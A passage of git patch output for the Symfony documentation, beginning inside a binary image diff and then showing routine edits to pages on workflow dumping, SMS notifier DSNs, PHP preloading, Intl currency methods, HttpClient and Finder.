zh=Ae&Dcj9GULJn-V9dWa&bp(RUs#WF&&WcS;Z_Wna-1O0Fa7}mPv+CTfp+PBnFEYq
z7ZC3IkP1GTiBUs<f5|Jy_IfKlX@fEyV^gixw}ZT;R;}KslrUKAO{nMMpqd8dg;3+`
z@+9Oa2V3z}sJ-(D2??=Ddy)|a1qFdkj|R{YOLOKH!-NS*W1kmYi8Ei{I<c{#F4yfu
z=&pq#_!|YPlj+IR6A7S6ZGQECMCK`~5OlK71DS^{^hzMICg|+QjFRhsluiqTwR~$b
zarYaOEmcY7<_aH<e&{qcR`{MX@3Y^`Z?L4)VS-AD2BQnt^(h5}ngh0*n3xzjwxYxU
z&cL9m2l$0o&@^@CpN8L~>;&@jE?z3|$GL^u!!b&$34fc8I<m^R$L$^#UL%bxUbXpz
zU~qa%;biDW$`N9TfZNHy$jFG`lnd^w<5GcpKhJ?WPZc2Aqp?csnYI`>Qq&wA7@7K$
zCSJ~0weHME@o90sB9_mR%^PmxLvpnYR@7jVQ{Ew~`CX(3843_=cV{p7LZWCR$}$2(
z1uQ1STe<{w6_^Ah#n$UnV7|AV8a!Go$bPC&Sib93tT#Q!<4mxw+40J1CBoi2jDeuZ
z?Eq!>-<}66E<yMZMl&P_YU<ERll%hGEP$ahDk>^a(}7N^D^T5l>MJ|TxU;Im`I6L9
z=AF7XXZys>s|~|nO}ZyHXzf<`nwN6Jm;QpLE*^gVNEI~0c{Vo9wFxW&KZ}c-niMOY
zf2eC}Qu6ZhBIT7v5*lzBVS-oIwaxgFml%>2>`I%aSnro2>vXAMTHB}@5xcv1HmB>H
zu>TgMFP?4STlEbL5Cs%&sX(UudaxZEyrEFs+@au&qGM|Mx~fV7+_)^Z7I2?yjBRC}
zT`bdkGQ(xQ>?Lks-ykJ<J~aZ%p!m{cUbY@dens7Kv@tdy4G0bn284G837{-j1O%eM
z2#OX+-H<;Siz_Ouhl?#<GmC^ml`L=9<=Pd?J6kH3{F-}y1&FEG=TIFzxr&Jq@D(-2
z0QAODA{|ryTR1hOUIJL;DufALHNfalw~0<lVuE(ch!H1*eSXa@lX#v}RrFwCtEEqs
z`Z%^TI>%(FFEpe&d->#qj(%csIQLi`E};m}k6)mmlPu}>7ZhTUb3d-&<|YJ0kw|iK
zG9($HG#uR!br;8~iZZGrm%F)^!jn&$M|o2+g$knNI<vfwiwDG4Z?hl+)Vy%v0^(s5
zmz@03^8!kleH+^T-0<JdU%C{TY1wDwS${m%2@VO<Lshdygz=3>(l0J~wDc8iR24`6
z1y*yxb|IAkanEWo^z42W<BE=xp_&KO?jPbBgwGbH-Q)xR*K);X9v{~eA30m<*{kd=
zS05Lu=ky%=woqJ)jsXuB+KhW+Wg9H2mQr7u$N1P={-S(hb5eWs7pM7VV_8{g?YKq^
zVuxMse%oz7Z5Y#|L|>N>>2AoM&2)P_Fa(YnwBzl!OG8)%&uoRcv-GJ9*&_bo0$TiC
zYvglrhh^<uqCyVteIsub;oiW9h#vA6Jp92EH0@DDf3hplUAW-QcWO+|`;y@5ZXn{S
zjAwhJZwO0+3@x0*q)f72ASzJl#{$c+>Y}8WFms1wC4prmxrLHtRuw{aHs?J~2-ILV
z{0ZtDWiA>Fj9SbKGUe>-$LaBrf84CDer{P?`q{PgX>pA67Nwhkv|a(!tl;y?1r((k
zBfFLiBX2aweTvyv)8qaAUQ>1w=h>YXbPZ-De(~T!r|$oTG96j?fziX&Pu#FCd}H}j
zb6zbydww0drd>z%fSF{mJtRJ*V{y1I<{!0`R%4-mw}y6GC)$!*>|?Y?E0tAN%KEPl
z@ECQGvot!5D#<T9X-kAuxSK_2CZV_8Ty0)XT6(Ady`Iq&tDW-yrmxWP{bCk3v!wTU
z<9-~e|EgC;c^2C_9;zK_R<^B_(_<{lIV`D60oAuNA}S#^njzK~E~fB`o1WV0zE9TE
zm$IItIPzUuCwPCwW@39MryoF!K@7?nVqzScqHRA2_PiEqpj4`7hCfRMX84wF=f_Nh
zu7xx)$zP9LJqM>2oL<D0kv?E$9jzI|eJj{s!QEs1cc*cZSD)I5&w5M5PkKPv1G0T3
zzN^JI|J`D;y#Fmg6UDzv9bA0o-^Wn-|MwBT|M!vSr!<WB`-2|{@xBIAc%s`XTFQlr
H51;=R-kNNp

literal 0
HcmV?d00001

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d1749603155..bbde2240a7d 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -9,8 +9,13 @@ them as SVG or PNG images. First, install any of these free and open source
 applications needed to generate the images:
 
 * `Graphviz`_, provides the ``dot`` command;
+* `Mermaid CLI`_, provides the ``mmdc`` command;
 * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java).
 
+.. versionadded:: 5.3
+
+    The ``mermaid`` dump format was introduced in Symfony 5.3.
+
 If you are defining the workflow inside a Symfony application, run this command
 to dump it as an image:
 
@@ -28,10 +33,17 @@ to dump it as an image:
     # highlight 'place1' and 'place2' in the dumped workflow
     $ php bin/console workflow:dump workflow-name place1 place2 | dot -Tsvg -o graph.svg
 
+    # using Mermaid.js CLI
+    $ php bin/console workflow:dump workflow_name --dump-format=mermaid | mmdc -o graph.svg
+
 The DOT image will look like this:
 
 .. image:: /_images/components/workflow/blogpost.png
 
+The Mermaid image will look like this:
+
+.. image:: /_images/components/workflow/blogpost_mermaid.png
+
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_puml.png
@@ -63,7 +75,7 @@ You can use ``metadata`` with the following keys to style the workflow:
 
   * ``bg_color``: a color;
   * ``description``: a string that describes the state.
-  
+
 * for transitions:
 
   * ``label``: a string that replaces the name of the transition;
@@ -76,6 +88,11 @@ Colors can be defined as:
 * a color name from `PlantUML's color list`_;
 * an hexadecimal color (both ``#AABBCC`` and ``#ABC`` formats are supported).
 
+.. note::
+
+    The Mermaid dumper does not support coloring the arrow heads
+    with ``arrow_color`` as there is no support in Mermaid for doing so.
+
 Below is the configuration for the pull request state machine with styling added.
 
 .. configuration-block::
@@ -310,5 +327,6 @@ The PlantUML image will look like this:
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
 
 .. _`Graphviz`: https://www.graphviz.org
+.. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli
 .. _`PlantUML`: https://plantuml.com/
 .. _`PlantUML's color list`: https://plantuml.com/color

From d3b1f4d1f39db71344f987916c9f8c24c2e5ad77 Mon Sep 17 00:00:00 2001
From: juferchaud <jferchaud@yahoo.fr>
Date: Tue, 13 Apr 2021 19:10:06 +0200
Subject: [PATCH 0704/5766] Fix typo in handler success customization part.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Backslashes were missing. Reading was difficult, especially at the end of that very complete page 😅 .
---
 security/login_link.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 456cfc706c6..34705d28983 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -660,8 +660,10 @@ Customizing the Success Handler
 
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
-success handler behaves, create your own
-:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+success handler behaves, create your own that must implement
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`.
+
+.. code-block:: php
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From 369e959d0edc411a1d006781e25da4c732f7245d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Apr 2021 21:09:00 +0200
Subject: [PATCH 0705/5766] Fixing typo

"by" was misssing.
---
 forms.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/forms.rst b/forms.rst
index 17cd593d416..6f244fd7d1c 100644
--- a/forms.rst
+++ b/forms.rst
@@ -695,8 +695,7 @@ Set the ``label`` option on fields to define their labels explicitly::
 .. tip::
 
     By default, ``<label>`` tags of required fields are rendered with a
-    ``required`` CSS class, so you can display an asterisk for required
-    fields applying these CSS styles:
+    ``required`` CSS class, so you can display an asterisk by applying a CSS style:
 
     .. code-block:: css
 

From 1b1f8ffbcf7287e28aad88f0911c9819ca5cefab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Apr 2021 08:59:25 +0200
Subject: [PATCH 0706/5766] Minor reword

---
 security/login_link.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 34705d28983..4e1bfa2d3da 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -660,10 +660,8 @@ Customizing the Success Handler
 
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
-success handler behaves, create your own that must implement
-:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`.
-
-.. code-block:: php
+success handler behaves, create your own handler as a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From 96bc3ab94cbbd525274dcb22d9b87e3922519983 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 11 Apr 2021 10:08:04 +0300
Subject: [PATCH 0707/5766] [Notifier] [SmsBiuras] add docs

---
 notifier.rst | 45 +++++++++++++++++++++++----------------------
 1 file changed, 23 insertions(+), 22 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 305c433f53d..006c0256b87 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -53,28 +53,29 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==========  ================================  ====================================================
-Service     Package                           DSN
-==========  ================================  ====================================================
-AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
-Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
-Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://default?to=TO&from=FROM``
-FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
-Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-LightSms    ``symfony/light-sms-notifier``    ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
-Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
-Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
-Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
-SpotHit     ``symfony/spothit-notifier``      ``spothit://TOKEN@default?from=FROM``
-Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
-==========  ================================  ====================================================
+==============  ====================================  ===========================================================================
+Service         Package                               DSN
+==============  ====================================  ===========================================================================
+AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
+Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 

From eb3accd083240339e36f2574291e678036b8acb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Apr 2021 11:10:36 +0200
Subject: [PATCH 0708/5766] Added SmsBiuras to the versionadded directive

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 006c0256b87..c8226fd5c81 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -87,8 +87,8 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSms
-    integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms,
+    and SmsBiuras integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 4836e5d7e52f0970193f8ed06913e19b3a03686e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 14 Apr 2021 15:35:45 +0200
Subject: [PATCH 0709/5766] Added link to
 https://symfony.com/doc/current/mailer.html#configuring-emails-globally

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1545f586bf9..3d82c643511 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3207,6 +3207,10 @@ headers
 Headers to add to emails. The key (``name`` attribute in xml format) is the
 header name and value the header value.
 
+.. seealso::
+
+    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
+
 web_link
 ~~~~~~~~
 

From 96ffaa6e9fb14f8b7785291365348994d0acdf7e Mon Sep 17 00:00:00 2001
From: Ivan Yivoff <yivi@users.noreply.github.com>
Date: Mon, 28 Dec 2020 08:47:37 +0100
Subject: [PATCH 0710/5766] Update performance.rst

---
 performance.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index b632ee0a227..d710d982449 100644
--- a/performance.rst
+++ b/performance.rst
@@ -106,8 +106,16 @@ make them available to all requests until the server is restarted, improving
 performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
-Symfony generates a file called ``preload.php`` in the ``config/`` directory
-with the list of classes to preload.
+Symfony generates a file with the list of classes to preload in the
+``var/cache`` directory.
+
+Rather than use this file directly, when installing with Flex the Framework
+Bundle recipe will create a file called ``preload.php`` in the ``config/``
+directory, which you can use safely, since it includes safeguards in case the
+cache has not been warmed beforehand.
+
+If this file is missing, you can reinstall the recipe by executing
+``composer recipes:install symfony/framework-bundle --force -v``.
 
 The only requirement is that you need to set both ``container.dumper.inline_factories``
 and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you

From 975137a2580d96cad44d1af54b10dccb072d5577 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 14 Apr 2021 18:00:47 +0200
Subject: [PATCH 0711/5766] Rewords

---
 performance.rst | 17 ++++++-----------
 1 file changed, 6 insertions(+), 11 deletions(-)

diff --git a/performance.rst b/performance.rst
index 2be82670b1b..a1fc408918b 100644
--- a/performance.rst
+++ b/performance.rst
@@ -107,23 +107,18 @@ performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
 Symfony generates a file with the list of classes to preload in the
-``var/cache`` directory.
-
-Rather than use this file directly, when installing with Flex the Framework
-Bundle recipe will create a file called ``preload.php`` in the ``config/``
-directory, which you can use safely, since it includes safeguards in case the
-cache has not been warmed beforehand.
-
-If this file is missing, you can reinstall the recipe by executing
-``composer recipes:install symfony/framework-bundle --force -v``.
-
-You can configure PHP to use this preload file:
+``var/cache/`` directory. Rather than use this file directly, use the
+``config/preload.php`` file that is created when
+:doc:`using Symfony Flex in your project </setup/flex>`:
 
 .. code-block:: ini
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
 
+If this file is missing, run this command to reinstall the Symfony Flex recipe:
+``composer recipes:install symfony/framework-bundle --force -v``.
+
 Use the :ref:`container.preload <dic-tags-container-preload>` and
 :ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define
 which classes should or should not be preloaded by PHP.

From b5c7bca1ee1ccb14aadb0f2598abc0fa220084af Mon Sep 17 00:00:00 2001
From: partulaj <jeremie.partula@outlook.fr>
Date: Thu, 15 Apr 2021 13:45:16 +0000
Subject: [PATCH 0712/5766] Fix the filename in the code block

---
 frontend/encore/legacy-applications.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 36087b88978..c22812d00b8 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -75,7 +75,7 @@ page, add:
 
 .. code-block:: diff
 
-      // webpack.config.js
+      // app.js
 
       // require jQuery normally
       const $ = require('jquery');

From c0a3fdd459fc397e27dbc2df59378e651e64ac1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 16:40:12 +0200
Subject: [PATCH 0713/5766] [Intl] Document getCashFractionDigits() and
 getCashRoundingIncrement()

---
 components/intl.rst | 44 +++++++++++++++++++++++++++++++++++++-------
 1 file changed, 37 insertions(+), 7 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 1260945a27c..b690482f276 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -262,15 +262,45 @@ as some of their information (symbol, fraction digits, etc.)::
     $symbol = Currencies::getSymbol('INR');
     // => '₹'
 
-    $fractionDigits = Currencies::getFractionDigits('INR');
-    // => 2
+The fraction digits methods return the number of decimal digits to display when
+formatting numbers with this currency. Depending on the currency, this value
+can change if the number is used in cash transactions or in other scenarios
+(e.g. accounting)::
 
-    $roundingIncrement = Currencies::getRoundingIncrement('INR');
-    // => 0
+    // Indian rupee defines the same value for both
+    $fractionDigits = Currencies::getFractionDigits('INR');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('INR'); // returns: 2
 
-All methods (except for ``getFractionDigits()`` and ``getRoundingIncrement()``)
-accept the translation locale as the last, optional parameter, which defaults to
-the current default locale::
+    // Swedish krona defines different values
+    $fractionDigits = Currencies::getFractionDigits('SEK');         // returns: 2
+    $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0
+
+.. versionadded:: 5.3
+
+    The ``getCashFractionDigits()`` method was introduced in Symfony 5.3.
+
+Some currencies require to round numbers to the nearest increment of some value
+(e.g. 5 cents). This increment might be different if numbers are formatted for
+cash transactions or other scenarios (e.g. accounting)::
+
+    // Indian rupee defines the same value for both
+    $roundingIncrement = Currencies::getRoundingIncrement('INR');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('INR'); // returns: 0
+
+    // Canadian dollar defines different values because they have eliminated
+    // the smaller coins (1-cent and 2-cent) and prices in cash must be rounded to
+    // 5 cents (e.g. if price is 7.42 you pay 7.40; if price is 7.48 you pay 7.50)
+    $roundingIncrement = Currencies::getRoundingIncrement('CAD');         // returns: 0
+    $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5
+
+.. versionadded:: 5.3
+
+    The ``getCashRoundingIncrement()`` method was introduced in Symfony 5.3.
+
+All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``,
+``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the
+translation locale as the last, optional parameter, which defaults to the
+current default locale::
 
     $currencies = Currencies::getNames('de');
     // => ['AFN' => 'Afghanischer Afghani', 'EGP' => 'Ägyptisches Pfund', ...]

From ee5ee00fa7005ab3b0ec5cbdbcfd60558734f6f1 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko | CREATION <vasilij@creation.lt>
Date: Thu, 1 Apr 2021 17:50:22 +0300
Subject: [PATCH 0714/5766] * notifier.rst - message bird

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index c8226fd5c81..276fceac5ee 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -65,6 +65,7 @@ GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@defau
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -87,8 +88,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms,
-    and SmsBiuras integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras, and MessageBird integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 1d3e66a9a51d11602995be9fd28b519d1dfdc6b0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 16 Apr 2021 10:00:58 +0200
Subject: [PATCH 0715/5766] minor

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 276fceac5ee..5bbd12252a2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -88,7 +88,8 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras, and MessageBird integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
+    and MessageBird integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From c2956620534f02e99e79f486fac95a1cd8b56854 Mon Sep 17 00:00:00 2001
From: Daniel West <daniel@silverback.is>
Date: Tue, 5 Jan 2021 14:57:37 +0000
Subject: [PATCH 0716/5766] [HttpClient] Clarification on use of base_uri +
 absolute paths

---
 http_client.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 37be3137771..34dab0b8685 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -333,6 +333,10 @@ If you use for example
 as the type and name of an argument, autowiring will inject the ``my_api.client``
 service into your autowired classes.
 
+.. note::
+
+    Pay attention to the trailing slashes in the `base_uri` parameter and prefixed slashes in your path when making a request. The URI will be merged following the rules explained in the [RFC 3986](https://www.ietf.org/rfc/rfc3986.txt) standard. [You can view some examples here](https://symfony.com/doc/current/reference/configuration/framework.html#base-uri)
+
 Making Requests
 ---------------
 

From 9f0893c5d79f20e77da345ee0ed51c153f360215 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 10:35:18 +0200
Subject: [PATCH 0717/5766] Reword

---
 http_client.rst                       | 4 +++-
 reference/configuration/framework.rst | 2 ++
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 34dab0b8685..a71d4ab604b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -335,7 +335,9 @@ service into your autowired classes.
 
 .. note::
 
-    Pay attention to the trailing slashes in the `base_uri` parameter and prefixed slashes in your path when making a request. The URI will be merged following the rules explained in the [RFC 3986](https://www.ietf.org/rfc/rfc3986.txt) standard. [You can view some examples here](https://symfony.com/doc/current/reference/configuration/framework.html#base-uri)
+    Read the :ref:`base_uri option docs <reference-http-client-base-uri>` to
+    learn the rules applied when merging relative URIs into the base URI of the
+    scoped client.
 
 Making Requests
 ---------------
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 63e0ca7ad20..55f68325ac5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -817,6 +817,8 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
+.. _reference-http-client-base-uri:
+
 base_uri
 ........
 

From 5e91bdb52e03f3112552fe2065eb4961faa1632e Mon Sep 17 00:00:00 2001
From: Tymoteusz Motylewski <t.motylewski@gmail.com>
Date: Wed, 17 Mar 2021 16:11:23 +0100
Subject: [PATCH 0718/5766] Add note about depth 0 in Finder

---
 components/finder.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index 6952685b64f..55579607d51 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -311,6 +311,8 @@ Restrict by a depth range by chaining calls or passing an array::
 
     // same as above
     $finder->depth(['> 2', '< 5']);
+    
+Depth 0 means direct children (files and folders).
 
 Custom Filtering
 ~~~~~~~~~~~~~~~~

From f7d2e9ff002cb6f6591e1e1f4965532fb48e5fbf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 11:03:21 +0200
Subject: [PATCH 0719/5766] Reword

---
 components/finder.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 55579607d51..0279b967b0a 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -302,6 +302,7 @@ Directory Depth
 By default, the Finder recursively traverses directories. Restrict the depth of
 traversing with :method:`Symfony\\Component\\Finder\\Finder::depth`::
 
+    // this will only consider files/directories which are direct children
     $finder->depth('== 0');
     $finder->depth('< 3');
 
@@ -311,8 +312,6 @@ Restrict by a depth range by chaining calls or passing an array::
 
     // same as above
     $finder->depth(['> 2', '< 5']);
-    
-Depth 0 means direct children (files and folders).
 
 Custom Filtering
 ~~~~~~~~~~~~~~~~

From fd00af8ab7dbf49d9fe52d02efcd26b355b1f82d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 11:26:34 +0200
Subject: [PATCH 0720/5766] Minor tweak

---
 service_container/definitions.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index 1107413cf99..160f92c8315 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -90,8 +90,8 @@ fetched from the container::
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
     
-    // adds a new argument with the name of the argument
-    // $argumentName = the name of the argument in the constructor
+    // adds a new named argument
+    // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument

